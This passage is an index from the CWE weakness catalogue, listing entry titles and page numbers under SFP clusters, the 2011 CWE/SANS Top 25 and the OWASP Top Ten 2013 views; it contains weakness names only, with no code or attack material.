- CWE-687: Function Call With Incorrectly Specified Argument Value *(p.1335)*
- CWE-707: Improper Neutralization *(p.1362)*
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*
- CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) *(p.134)*
- CWE-76: Improper Neutralization of Equivalent Special Elements *(p.135)*
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) *(p.165)*
- CWE-81: Improper Neutralization of Script in an Error Message Web Page *(p.167)*
- CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page *(p.169)*
- CWE-83: Improper Neutralization of Script in Attributes in a Web Page *(p.171)*
- CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page *(p.173)*
- CWE-85: Doubled Character XSS Manipulations *(p.175)*
- CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages *(p.177)*
- CWE-87: Improper Neutralization of Alternate XSS Syntax *(p.179)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
- CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p.202)*
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
- CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*

CWE-991: SFP Secondary Cluster: Tainted Input to Environment *(p.1955)*

- CWE-114: Process Control *(p.256)*
- CWE-427: Uncontrolled Search Path Element *(p.922)*
- CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
- CWE-471: Modification of Assumed-Immutable Data (MAID) *(p.999)*
- CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
- CWE-473: PHP External Variable Modification *(p.1005)*
- CWE-494: Download of Code Without Integrity Check *(p.1055)*

- CWE-622: Improper Validation of Function Hook Arguments *(p.1233)*
- CWE-673: External Influence of Sphere Definition *(p.1313)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*

CWE-992: SFP Secondary Cluster: Faulty Input Transformation *(p.1956)*
- CWE-116: Improper Encoding or Escaping of Output *(p.260)*
- CWE-166: Improper Handling of Missing Special Element *(p.390)*
- CWE-167: Improper Handling of Additional Special Element *(p.392)*
- CWE-168: Improper Handling of Inconsistent Special Elements *(p.394)*
- CWE-172: Encoding Error *(p.399)*
- CWE-173: Improper Handling of Alternate Encoding *(p.401)*
- CWE-174: Double Decoding of the Same Data *(p.403)*
- CWE-175: Improper Handling of Mixed Encoding *(p.405)*
- CWE-176: Improper Handling of Unicode Encoding *(p.407)*
- CWE-177: Improper Handling of URL Encoding (Hex Encoding) *(p.409)*
- CWE-178: Improper Handling of Case Sensitivity *(p.411)*
- CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
- CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
- CWE-181: Incorrect Behavior Order: Validate Before Filter *(p.420)*
- CWE-182: Collapse of Data into Unsafe Value *(p.422)*

CWE-993: SFP Secondary Cluster: Incorrect Input Handling *(p.1956)*
- CWE-198: Use of Incorrect Byte Ordering *(p.465)*
- CWE-228: Improper Handling of Syntactically Invalid Structure *(p.519)*
- CWE-229: Improper Handling of Values *(p.521)*
- CWE-230: Improper Handling of Missing Values *(p.521)*
- CWE-231: Improper Handling of Extra Values *(p.523)*
- CWE-232: Improper Handling of Undefined Values *(p.524)*
- CWE-233: Improper Handling of Parameters *(p.525)*
- CWE-234: Failure to Handle Missing Parameter *(p.526)*
- CWE-235: Improper Handling of Extra Parameters *(p.529)*
- CWE-236: Improper Handling of Undefined Parameters *(p.530)*
- CWE-237: Improper Handling of Structural Elements *(p.531)*
- CWE-238: Improper Handling of Incomplete Structural Elements *(p.531)*
- CWE-239: Failure to Handle Incomplete Element *(p.532)*
- CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*
- CWE-351: Insufficient Type Distinction *(p.772)*
- CWE-354: Improper Validation of Integrity Check Value *(p.782)*

CWE-994: SFP Secondary Cluster: Tainted Input to Variable *(p.1957)*
- CWE-15: External Control of System or Configuration Setting *(p.17)*
- CWE-20: Improper Input Validation *(p.19)*
- CWE-454: External Initialization of Trusted Variables or Data Stores *(p.967)*
- CWE-496: Public Data Assigned to Private Array-Typed Field *(p.1061)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key *(p.1142)*
- CWE-606: Unchecked Input for Loop Condition *(p.1207)*
- CWE-616: Incomplete Identification of Uploaded File Variables (PHP) *(p.1223)*

CWE-897: SFP Primary Cluster: Entry Points *(p.1925)*

CWE-1002: SFP Secondary Cluster: Unexpected Entry Points *(p.1960)*
- CWE-489: Active Debug Code *(p.1042)*
- CWE-491: Public cloneable() Method Without Final ('Object Hijack') *(p.1044)*
- CWE-493: Critical Public Variable Without Final Modifier *(p.1053)*
- CWE-500: Public Static Field Not Marked Final *(p.1069)*
- CWE-531: Inclusion of Sensitive Information in Test Code *(p.1103)*
- CWE-568: finalize() Method Without super.finalize() *(p.1146)*

- CWE-580: clone() Method Without super.clone() *(p.1166)*
- CWE-582: Array Declared Public, Final, and Static *(p.1168)*
- CWE-583: finalize() Method Declared Public *(p.1169)*
- CWE-608: Struts: Non-private Field in ActionForm Class *(p.1210)*
- CWE-766: Critical Data Element Declared Public *(p.1415)*

CWE-898: SFP Primary Cluster: Authentication *(p.1925)*
- CWE-947: SFP Secondary Cluster: Authentication Bypass *(p.1934)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-289: Authentication Bypass by Alternate Name *(p.638)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p.670)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p.673)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-309: Use of Password System for Primary Authentication *(p.684)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
- CWE-948: SFP Secondary Cluster: Digital Certificate *(p.1935)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
  - CWE-297: Improper Validation of Certificate with Host Mismatch *(p.656)*
  - CWE-298: Improper Validation of Certificate Expiration *(p.659)*
  - CWE-299: Improper Check for Certificate Revocation *(p.661)*
  - CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p.1183)*
  - CWE-599: Missing Validation of OpenSSL Certificate *(p.1192)*
- CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication *(p.1935)*
  - CWE-293: Using Referer Field for Authentication *(p.645)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
  - CWE-345: Insufficient Verification of Data Authenticity *(p.758)*
  - CWE-346: Origin Validation Error *(p.760)*
  - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p.769)*
  - CWE-360: Trust of System Event Data *(p.792)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
  - CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p.1269)*
- CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data *(p.1936)*
  - CWE-258: Empty Password in Configuration File *(p.567)*
  - CWE-259: Use of Hard-coded Password *(p.569)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-547: Use of Hard-coded, Security-relevant Constants *(p.1120)*
- CWE-951: SFP Secondary Cluster: Insecure Authentication Policy *(p.1936)*
  - CWE-262: Not Using Password Aging *(p.577)*
  - CWE-263: Password Aging with Long Expiration *(p.579)*
  - CWE-521: Weak Password Requirements *(p.1089)*
  - CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation *(p.1129)*
  - CWE-613: Insufficient Session Expiration *(p.1219)*
  - CWE-645: Overly Restrictive Account Lockout Mechanism *(p.1267)*
- CWE-952: SFP Secondary Cluster: Missing Authentication *(p.1936)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-620: Unverified Password Change *(p.1229)*
- CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication *(p.1937)*
  - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p.912)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
- CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port *(p.1937)*
  - CWE-605: Multiple Binds to the Same Port *(p.1205)*
- CWE-955: SFP Secondary Cluster: Unrestricted Authentication *(p.1937)*

- CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*

CWE-899: SFP Primary Cluster: Access Control *(p.1926)*
- CWE-944: SFP Secondary Cluster: Access Management *(p.1933)*
  - CWE-282: Improper Ownership Management *(p.616)*
  - CWE-283: Unverified Ownership *(p.618)*
  - CWE-284: Improper Access Control *(p.619)*
  - CWE-286: Incorrect User Management *(p.629)*
  - CWE-708: Incorrect Ownership Assignment *(p.1363)*
- CWE-945: SFP Secondary Cluster: Insecure Resource Access *(p.1933)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-424: Improper Protection of Alternate Path *(p.914)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-650: Trusting HTTP Permission Methods on the Server Side *(p.1275)*
- CWE-946: SFP Secondary Cluster: Insecure Resource Permissions *(p.1934)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-277: Insecure Inherited Permissions *(p.609)*
  - CWE-278: Insecure Preserved Inherited Permissions *(p.610)*
  - CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
  - CWE-281: Improper Preservation of Permissions *(p.615)*
  - CWE-560: Use of umask() with chmod-style Argument *(p.1132)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*

CWE-901: SFP Primary Cluster: Privilege *(p.1926)*
- CWE-250: Execution with Unnecessary Privileges *(p.547)*
- CWE-266: Incorrect Privilege Assignment *(p.580)*
- CWE-267: Privilege Defined With Unsafe Actions *(p.583)*
- CWE-268: Privilege Chaining *(p.586)*
- CWE-269: Improper Privilege Management *(p.589)*
- CWE-270: Privilege Context Switching Error *(p.593)*
- CWE-271: Privilege Dropping / Lowering Errors *(p.595)*
- CWE-272: Least Privilege Violation *(p.598)*
- CWE-274: Improper Handling of Insufficient Privileges *(p.604)*
- CWE-520: .NET Misconfiguration: Use of Impersonation *(p.1088)*
- CWE-653: Insufficient Compartmentalization *(p.1279)*
- CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p.7)*

CWE-902: SFP Primary Cluster: Channel *(p.1927)*
- CWE-956: SFP Secondary Cluster: Channel Attack *(p.1937)*
  - CWE-290: Authentication Bypass by Spoofing *(p.640)*
  - CWE-294: Authentication Bypass by Capture-replay *(p.647)*
  - CWE-300: Channel Accessible by Non-Endpoint *(p.663)*
  - CWE-301: Reflection Attack in an Authentication Protocol *(p.666)*
  - CWE-419: Unprotected Primary Channel *(p.908)*
  - CWE-420: Unprotected Alternate Channel *(p.909)*
  - CWE-421: Race Condition During Access to Alternate Channel *(p.911)*
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p.950)*
- CWE-957: SFP Secondary Cluster: Protocol Error *(p.1938)*
  - CWE-353: Missing Support for Integrity Check *(p.780)*
  - CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities *(p.943)*
  - CWE-436: Interpretation Conflict *(p.944)*
  - CWE-437: Incomplete Model of Endpoint Features *(p.946)*
  - CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') *(p.1392)*

CWE-903: SFP Primary Cluster: Cryptography *(p.1927)*
- CWE-958: SFP Secondary Cluster: Broken Cryptography *(p.1938)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*

- CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-759: Use of a One-Way Hash without a Salt *(p.1395)*
- CWE-760: Use of a One-Way Hash with a Predictable Salt *(p.1399)*

- CWE-959: SFP Secondary Cluster: Weak Cryptography *(p.1938)*
  - CWE-261: Weak Encoding for Password *(p.575)*
  - CWE-322: Key Exchange without Entity Authentication *(p.711)*
  - CWE-323: Reusing a Nonce, Key Pair in Encryption *(p.713)*
  - CWE-324: Use of a Key Past its Expiration Date *(p.715)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
  - CWE-329: Not Using a Random IV with CBC Mode *(p.729)*
  - CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*

- CWE-904: SFP Primary Cluster: Malware *(p.1927)*
  - CWE-506: Embedded Malicious Code *(p.1077)*
  - CWE-507: Trojan Horse *(p.1079)*
  - CWE-508: Non-Replicating Malicious Code *(p.1080)*
  - CWE-509: Replicating Malicious Code (Virus or Worm) *(p.1081)*
  - CWE-510: Trapdoor *(p.1082)*
  - CWE-511: Logic/Time Bomb *(p.1084)*
  - CWE-512: Spyware *(p.1085)*
  - CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream *(p.122)*
  - CWE-968: SFP Secondary Cluster: Covert Channel *(p.1944)*
    - CWE-385: Covert Timing Channel *(p.842)*
    - CWE-514: Covert Channel *(p.1086)*
    - CWE-515: Covert Storage Channel *(p.1087)*
- CWE-905: SFP Primary Cluster: Predictability *(p.1928)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-331: Insufficient Entropy *(p.736)*
  - CWE-332: Insufficient Entropy in PRNG *(p.739)*
  - CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*
  - CWE-334: Small Space of Random Values *(p.742)*
  - CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
  - CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) *(p.745)*
  - CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) *(p.747)*
  - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
  - CWE-339: Small Seed Space in PRNG *(p.751)*
  - CWE-340: Generation of Predictable Numbers or Identifiers *(p.752)*
  - CWE-341: Predictable from Observable State *(p.753)*
  - CWE-342: Predictable Exact Value from Previous Values *(p.755)*
  - CWE-343: Predictable Value Range from Previous Values *(p.756)*
  - CWE-344: Use of Invariant Value in Dynamically Changing Context *(p.757)*
- CWE-906: SFP Primary Cluster: UI *(p.1928)*
  - CWE-995: SFP Secondary Cluster: Feature *(p.1957)*
    - CWE-447: Unimplemented or Unsupported Feature in UI *(p.957)*
    - CWE-448: Obsolete Feature in UI *(p.959)*
    - CWE-449: The UI Performs the Wrong Action *(p.960)*
    - CWE-450: Multiple Interpretations of UI Input *(p.961)*
    - CWE-451: User Interface (UI) Misrepresentation of Critical Information *(p.962)*
    - CWE-549: Missing Password Field Masking *(p.1122)*
    - CWE-655: Insufficient Psychological Acceptability *(p.1283)*
  - CWE-996: SFP Secondary Cluster: Security *(p.1958)*
    - CWE-356: Product UI does not Warn User of Unsafe Actions *(p.784)*
    - CWE-357: Insufficient UI Warning of Dangerous Operations *(p.785)*
    - CWE-446: UI Discrepancy for Security Feature *(p.956)*

- CWE-997: SFP Secondary Cluster: Information Loss *(p.1958)*
  - CWE-221: Information Loss or Omission *(p.511)*
  - CWE-222: Truncation of Security-relevant Information *(p.512)*
  - CWE-223: Omission of Security-relevant Information *(p.513)*
  - CWE-224: Obscured Security-relevant Information by Alternate Name *(p.515)*
- CWE-907: SFP Primary Cluster: Other *(p.1928)*
  - CWE-975: SFP Secondary Cluster: Architecture *(p.1946)*
    - CWE-348: Use of Less Trusted Source *(p.765)*
    - CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
    - CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
    - CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') *(p.1247)*
    - CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p.1273)*
    - CWE-654: Reliance on a Single Factor in a Security Decision *(p.1281)*
    - CWE-656: Reliance on Security Through Obscurity *(p.1285)*
    - CWE-657: Violation of Secure Design Principles *(p.1287)*
    - CWE-671: Lack of Administrator Control over Security *(p.1309)*
    - CWE-693: Protection Mechanism Failure *(p.1344)*
    - CWE-749: Exposed Dangerous Method or Function *(p.1377)*
  - CWE-976: SFP Secondary Cluster: Compiler *(p.1947)*
    - CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p.1375)*
  - CWE-977: SFP Secondary Cluster: Design *(p.1947)*
    - CWE-115: Misinterpretation of Input *(p.259)*
    - CWE-187: Partial String Comparison *(p.432)*
    - CWE-188: Reliance on Data/Memory Layout *(p.435)*
    - CWE-193: Off-by-one Error *(p.449)*
    - CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
    - CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
    - CWE-406: Insufficient Control of Network Message Volume (Network Amplification) *(p.884)*
    - CWE-407: Inefficient Algorithmic Complexity *(p.887)*
    - CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
    - CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
    - CWE-410: Insufficient Resource Pool *(p.891)*
    - CWE-430: Deployment of Wrong Handler *(p.929)*
    - CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
    - CWE-463: Deletion of Data Structure Sentinel *(p.984)*
    - CWE-464: Addition of Data Structure Sentinel *(p.986)*
    - CWE-480: Use of Incorrect Operator *(p.1023)*
    - CWE-483: Incorrect Block Delimitation *(p.1032)*
    - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*
    - CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
    - CWE-618: Exposed Unsafe ActiveX Method *(p.1226)*
    - CWE-648: Incorrect Use of Privileged APIs *(p.1271)*
    - CWE-670: Always-Incorrect Control Flow Implementation *(p.1308)*
    - CWE-682: Incorrect Calculation *(p.1326)*
    - CWE-691: Insufficient Control Flow Management *(p.1342)*
    - CWE-696: Incorrect Behavior Order *(p.1348)*
    - CWE-697: Incorrect Comparison *(p.1350)*
    - CWE-698: Execution After Redirect (EAR) *(p.1353)*
    - CWE-705: Incorrect Control Flow Scoping *(p.1359)*
  - CWE-978: SFP Secondary Cluster: Implementation *(p.1948)*
    - CWE-358: Improperly Implemented Security Check for Standard *(p.786)*
    - CWE-398: 7PK - Code Quality *(p.1863)*
    - CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p.1234)*

CWE-710: Improper Adherence to Coding Standards *(p.1365)*

Graph View: CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

- CWE-867: 2011 Top 25 - Weaknesses On the Cusp *(p.1912)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
  - CWE-456: Missing Initialization of a Variable *(p.971)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
  - CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
  - CWE-805: Buffer Access with Incorrect Length Value *(p.1497)*
  - CWE-822: Untrusted Pointer Dereference *(p.1515)*
  - CWE-825: Expired Pointer Dereference *(p.1523)*
  - CWE-838: Inappropriate Encoding for Output Context *(p.1551)*
  - CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*
- CWE-866: 2011 Top 25 - Porous Defenses *(p.1912)*
  - CWE-250: Execution with Unnecessary Privileges *(p.547)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
  - CWE-759: Use of a One-Way Hash without a Salt *(p.1395)*
  - CWE-798: Use of Hard-coded Credentials *(p.1486)*
  - CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p.1507)*
  - CWE-862: Missing Authorization *(p.1567)*
  - CWE-863: Incorrect Authorization *(p.1573)*
- CWE-865: 2011 Top 25 - Risky Resource Management *(p.1911)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-134: Use of Externally-Controlled Format String *(p.334)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-494: Download of Code Without Integrity Check *(p.1055)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-864: 2011 Top 25 - Insecure Interaction Between Components *(p.1911)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
  - CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
  - CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*

Graph View: CWE-928: Weaknesses in OWASP Top Ten (2013)

- CWE-929: OWASP Top Ten 2013 Category A1 - Injection *(p.1929)*
  - CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*
  - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
    - CWE-564: SQL Injection: Hibernate *(p.1139)*
  - CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
  - CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
  - CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
  - CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*
- CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management *(p.1929)*
  - CWE-256: Unprotected Storage of Credentials *(p.562)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-384: Session Fixation *(p.839)*
  - CWE-522: Insufficiently Protected Credentials *(p.1091)*
  - CWE-523: Unprotected Transport of Credentials *(p.1095)*
  - CWE-613: Insufficient Session Expiration *(p.1219)*
  - CWE-620: Unverified Password Change *(p.1229)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
- CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS) *(p.1930)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References *(p.1930)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-706: Use of Incorrectly-Resolved Name or Reference *(p.1360)*
- CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration *(p.1931)*
  - CWE-2: 7PK - Environment *(p.1848)*
  - CWE-16: Configuration *(p.1849)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-215: Insertion of Sensitive Information Into Debugging Code *(p.507)*
  - CWE-548: Exposure of Information Through Directory Listing *(p.1121)*
- CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure *(p.1931)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
  - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
  - CWE-320: Key Management Errors *(p.1859)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control *(p.1932)*
  - CWE-285: Improper Authorization *(p.623)*
- CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF) *(p.1932)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
- CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities *(p.1932)*

- CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards *(p.1933)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*

Graph View: CWE-1000: Research Concepts

- CWE-284: Improper Access Control *(p.619)*
  - CWE-1191: Exposed Chip Debug and or Test Interface With Insufficient Access Control *(p.1729)*
  - CWE-1220: Insufficient Granularity of Access Control *(p.1735)*
    - CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks *(p.1740)*
  - CWE-1224: Improper Restriction of Write-Once Bit Fields *(p.1743)*
  - CWE-1231: Improper Implementation of Lock Protection Registers *(p.1747)*
  - CWE-1242: Inclusion of Undocumented Features or Chicken Bits *(p.1762)*
  - CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations *(p.1780)*
  - CWE-1256: Hardware Features Enable Physical Attacks from Software *(p.1785)*
  - CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions *(p.1787)*
  - CWE-1259: Improper Protection of Security Identifiers *(p.1790)*
  - CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges *(p.1792)*
  - CWE-1262: Register Interface Allows Software Access to Sensitive Data or Security Settings *(p.1797)*
  - CWE-1267: Policy Uses Obsolete Encoding *(p.1806)*
  - CWE-1268: Agents Included in Control Policy are not Contained in Less-Privileged Policy *(p.1808)*
  - CWE-1270: Generation of Incorrect Security Identifiers *(p.1813)*
  - CWE-1274: Insufficient Protections on the Volatile Memory Containing Boot Code *(p.1820)*
  - CWE-1275: Sensitive Cookie with Improper SameSite Attribute *(p.1821)*
  - CWE-1276: Hardware Block Incorrectly Connected to Larger System *(p.1823)*
  - CWE-1280: Access Control Check Implemented After Asset is Accessed *(p.1831)*
  - CWE-1283: Mutable Attestation or Measurement Reporting Data *(p.1836)*
  - CWE-269: Improper Privilege Management *(p.589)*
    - CWE-250: Execution with Unnecessary Privileges *(p.547)*
    - CWE-266: Incorrect Privilege Assignment *(p.580)*
      - CWE-1022: Use of Web Link to Untrusted Target with window.opener Access *(p.1633)*
      - CWE-520: .NET Misconfiguration: Use of Impersonation *(p.1088)*
      - CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation *(p.1129)*
      - CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p.7)*
    - CWE-267: Privilege Defined With Unsafe Actions *(p.583)*
      - CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p.1234)*
    - CWE-268: Privilege Chaining *(p.586)*
    - CWE-270: Privilege Context Switching Error *(p.593)*
    - CWE-271: Privilege Dropping / Lowering Errors *(p.595)*
      - CWE-272: Least Privilege Violation *(p.598)*
      - CWE-273: Improper Check for Dropped Privileges *(p.601)*
    - CWE-274: Improper Handling of Insufficient Privileges *(p.604)*
    - CWE-648: Incorrect Use of Privileged APIs *(p.1271)*
  - CWE-282: Improper Ownership Management *(p.616)*
    - CWE-283: Unverified Ownership *(p.618)*
    - CWE-708: Incorrect Ownership Assignment *(p.1363)*
  - CWE-285: Improper Authorization *(p.623)*
    - CWE-1230: Exposure of Sensitive Information Through Metadata *(p.1746)*
      - CWE-202: Exposure of Sensitive Information Through Data Queries *(p.476)*
      - CWE-612: Improper Authorization of Index Containing Sensitive Information *(p.1217)*
    - CWE-1244: Improper Authorization on Physical Debug and Test Interfaces *(p.1765)*
    - CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
      - CWE-219: Storage of File with Sensitive Data Under Web Root *(p.509)*
